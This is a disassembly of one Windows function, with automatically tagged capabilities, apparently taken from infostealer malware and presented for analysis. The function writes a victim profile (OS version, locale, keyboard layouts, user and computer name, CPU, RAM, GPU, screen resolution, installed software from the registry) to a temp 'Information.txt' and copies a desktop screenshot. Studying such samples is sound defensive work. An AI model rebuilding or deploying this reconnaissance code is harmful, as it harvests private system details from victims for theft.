Function at 0x419570
Capabilities:
Check if file exists
Copy file
Get cpu information
Get file attributes
Get geographical location
Get hostname
Get installed programs
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Query environment variable
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4c05ae
push eax
mov dword fs:[0], esp
mov eax, 0x2050
push ebx
call fcn.004bef90
push esi
push edi
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0xa4]
call fcn.00405bc0
add esp, 4
push str._Files_Information.txt
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x68]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4195e1
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x338]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov edx, dword [ebp - 0x54]
cmp edx, 8
jb 0x41962e
mov ecx, dword [ebp - 0x68]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419624
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419f4a
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x90]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 7
mov word [ebp - 0x68], ax
cmp edx, 8
jb 0x419689
mov ecx, dword [ebp - 0xa4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41967f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419f4a
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x208
lea eax, [ebp - 0x1850]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x4196d9
lea eax, [ebp - 0x338]
push str.a_ccsUTF_16LE
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x4196d9
lea eax, [ebp - 0x1850]
push eax
push str.Start_Build:______________wS_n
push esi
call fcn.0040edd0
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
push 0x1fe
lea eax, [ebp - 0x830]
mov dword [ebp - 0x38], 0xff
push 0
push eax
call fcn.004a3c90
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 0x24]
add esp, 0xc
push eax
push 0x20119
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x419736
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x830]
push eax
push 0
push 0
push str.ProductName
push dword [ebp - 0x24]
call esi
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1fe
lea eax, [ebp - 0xa30]
mov dword [ebp - 0x3c], 0xff
push 0
push eax
call fcn.004a3c90
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
push 0x20119
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
call edi
test eax, eax
jne 0x419790
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0xa30]
push eax
push 0
push 0
push str.CurrentBuildNumber
push dword [ebp - 0x28]
call esi
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1fe
lea eax, [ebp - 0xc30]
mov dword [ebp - 0x40], 0xff
push 0
push eax
call fcn.004a3c90
add esp, 0xc
lea eax, [ebp - 0x2c]
push eax
push 0x20119
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
call edi
test eax, eax
jne 0x4197ea
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xc30]
push eax
push 0
push 0
push str.ReleaseId
push dword [ebp - 0x2c]
call esi
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x208
lea eax, [ebp - 0x1238]
push eax
push str._WINDIR_SysWOW64
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp word [ebp - 0x1238], 0
je 0x419839
lea eax, [ebp - 0x1238]
mov byte [ebp - 0x14], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x419834
shr eax, 4
and eax, 0xffffff01
jmp 0x41983b
mov eax, dword [ebp - 0x14]
jmp 0x41983b
xor al, al
test al, al
mov ecx, str.64_bit__x64_
lea eax, [ebp - 0x338]
mov edi, str.32_bit__x86_
push str.a_ccsUTF_16LE
push eax
cmovne edi, ecx
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x4198bb
lea eax, [ebp - 0x830]
push eax
push str.OS:_______________________wS
push esi
call fcn.0040edd0
add esp, 0xc
push edi
push str.____wS
push esi
call fcn.0040edd0
add esp, 0xc
lea eax, [ebp - 0xa30]
push eax
push str.___Build:__wS
push esi
call fcn.0040edd0
add esp, 0xc
lea eax, [ebp - 0xc30]
push eax
push str.___Release:__wS_n
push esi
call fcn.0040edd0
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
push 0x55
lea eax, [ebp - 0x3e8]
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
test eax, eax
je 0x419906
lea eax, [ebp - 0x338]
push str.a_ccsUTF_16LE
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x419906
lea eax, [ebp - 0x3e8]
push eax
push str.OS_Language:______________wS_n
push esi
call fcn.0040edd0
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
lea eax, [ebp - 0x338]
push str.a_ccsUTF_16LE
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x419934
push str.Keyboard_Languages:
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0xc
mov edi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
push 0
push 0
call edi
mov esi, eax
lea ecx, [esi*4]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
push esi
mov dword [ebp - 0x14], eax
call edi
xor esi, esi
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x4199d6
push 0x200
lea eax, [ebp - 0x2060]
push eax
mov eax, dword [ebp - 0x14]
push 2
movzx eax, word [eax + esi*4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4199d0
lea eax, [ebp - 0x338]
push str.a_ccsUTF_16LE
push eax
call fcn.004a9b59
mov edi, eax
add esp, 8
test edi, edi
je 0x4199ba
lea eax, [ebp - 0x2060]
push eax
push str._wS_
push edi
call fcn.0040edd0
add esp, 0xc
push edi
call fcn.004a5e1b
add esp, 4
push 0x200
lea eax, [ebp - 0x2060]
push 0
push eax
call fcn.004a3c90
add esp, 0xc
inc esi
cmp esi, dword [ebp - 0x1c]
jb 0x419962
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x4199e4
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
call fcn.004ab5ce
add esp, 4
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
push 0
call fcn.004ab5ce
add esp, 4
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x14], edx
push eax
call fcn.004ab89d
add esp, 4
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xb0], xmm0
movups xmm0, xmmword [eax + 0x10]
movups xmmword [ebp - 0xa0], xmm0
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x90], eax
lea eax, [ebp - 0x18]
push eax
call fcn.004ab89d
add esp, 4
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x8c], xmm0
movups xmm0, xmmword [eax + 0x10]
movups xmmword [ebp - 0x7c], xmm0
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0xb0]
push eax
push str._nLocal_Date_and_Time:______Y__m__d__X
lea eax, [ebp - 0x500]
push 0x118
push eax
call fcn.004ab52c
lea eax, [ebp - 0x8c]
push eax
push str.UTC:______________________z
lea eax, [ebp - 0x630]
push 0x12c
push eax
call fcn.004ab52c
lea eax, [ebp - 0x338]
push str.a_ccsUTF_16LE
push eax
call fcn.004a9b59
mov esi, eax
add esp, 0x28
test esi, esi
je 0x419ad9
lea eax, [ebp - 0x500]
push eax
push str._wS_n
push esi
call fcn.0040edd0
add esp, 0xc
lea eax, [ebp - 0x630]
push eax
push str._wS_n
push esi
call fcn.0040edd0
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], 0x202
push eax
lea eax, [ebp - 0x1440]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], 0x206
push eax
lea eax, [ebp - 0x1648]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x338]
push str.a_ccsUTF_16LE
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x419b56
lea eax, [ebp - 0x1440]
push eax
push str.UserName__ComputerName_:__wS
push esi
call fcn.0040edd0
add esp, 0xc
lea eax, [ebp - 0x1648]
push eax
push str.___wS__n
push esi
call fcn.0040edd0
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
push 0x1fe
lea eax, [ebp - 0xe30]
mov dword [ebp - 0x4c], 0xff
push 0
push eax
call fcn.004a3c90
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 0x30]
add esp, 0xc
push eax
push 0x20119
push 0
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x419bb3
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0xe30]
push eax
push 0
push 0
push str.ProcessorNameString
push dword [ebp - 0x30]
call esi
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [ebp - 0x108]
mov dword [ebp - 0x108], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0x1fe
lea eax, [ebp - 0x1030]
mov dword [ebp - 0x50], 0xff
push 0
push eax
call fcn.004a3c90
add esp, 0xc
lea eax, [ebp - 0x34]
push eax
push 0x20119
push 0
push str.SYSTEMControlSet001ControlClass4D36E968_E325_11CE_BFC1_08002BE103180000
push 0x80000002
call edi
test eax, eax
jne 0x419c31
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x1030]
push eax
push 0
push 0
push str.DriverDesc
push dword [ebp - 0x34]
call esi
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call esi
push 1
mov edi, eax
call esi
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x338]
push str.a_ccsUTF_16LE
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x419ccc
push dword [ebp - 0x118]
lea eax, [ebp - 0xe30]
push eax
push str.CPU:______________________wS__Cores:__d__n
push esi
call fcn.0040edd0
mov ecx, dword [ebp - 0x100]
mov eax, dword [ebp - 0xfc]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
push str.Total_RAM:________________I64d__MB_n
push esi
call fcn.0040edd0
lea eax, [ebp - 0x1030]
push eax
push str.GPU:______________________wS_n
push esi
call fcn.0040edd0
add esp, 0x2c
push dword [ebp - 0x1c]
push edi
push str.Display_Resolution:_______d_x__d_n
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0x14
lea eax, [ebp - 0x338]
push str.a_ccsUTF_16LE
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x419cfa
push str._n_Installed_software__n
push esi
call fcn.0040edd0
push esi
call fcn.004a5e1b
add esp, 0xc
push 1
sub esp, 8
mov edx, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall
mov ecx, 0x80000001
call fcn.00416910
add esp, 0xc
mov edx, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall
mov ecx, 0x80000002
push 1
sub esp, 8
call fcn.00416910
add esp, 0xc
mov edx, str.SOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionUninstall
mov ecx, 0x80000002
push 1
sub esp, 8
call fcn.00416910
add esp, 0xc
lea ecx, [ebp - 0xa4]
mov edx, str._Temp__
push 0x4dc690
call fcn.00405bc0
add esp, 4
push str._Files_Screen_Desktop.jpeg
mov edx, eax
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x68]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x419d78
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x1c60]
push 0x208
push ecx
push eax
call esi
mov edx, dword [ebp - 0x54]
cmp edx, 8
jb 0x419dc7
mov ecx, dword [ebp - 0x68]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419dbd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419f4f
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x90]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 7
mov word [ebp - 0x68], ax
cmp edx, 8
jb 0x419e22
mov ecx, dword [ebp - 0xa4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419e18
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419f4f
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x80]
call fcn.00405bc0
add esp, 4
push str._files__screenshot.jpg
mov edx, eax
mov dword [ebp - 4], 2
lea ecx, [ebp - 0xc8]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x419e5b
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x1a58]
push ecx
push eax
call esi
mov edx, dword [ebp - 0xb4]
cmp edx, 8
jb 0x419eaa
mov ecx, dword [ebp - 0xc8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419ea0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419f54
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x6c]
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 7
mov word [ebp - 0xc8], ax
cmp edx, 8
jb 0x419f04
mov ecx, dword [ebp - 0x80]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419efa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419f54
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 0x70], 0
push eax
mov word [ebp - 0x80], ax
lea eax, [ebp - 0x1a58]
push eax
lea eax, [ebp - 0x1c60]
mov dword [ebp - 0x6c], 7
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
call fcn.00418d80
call fcn.004175c0
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
int3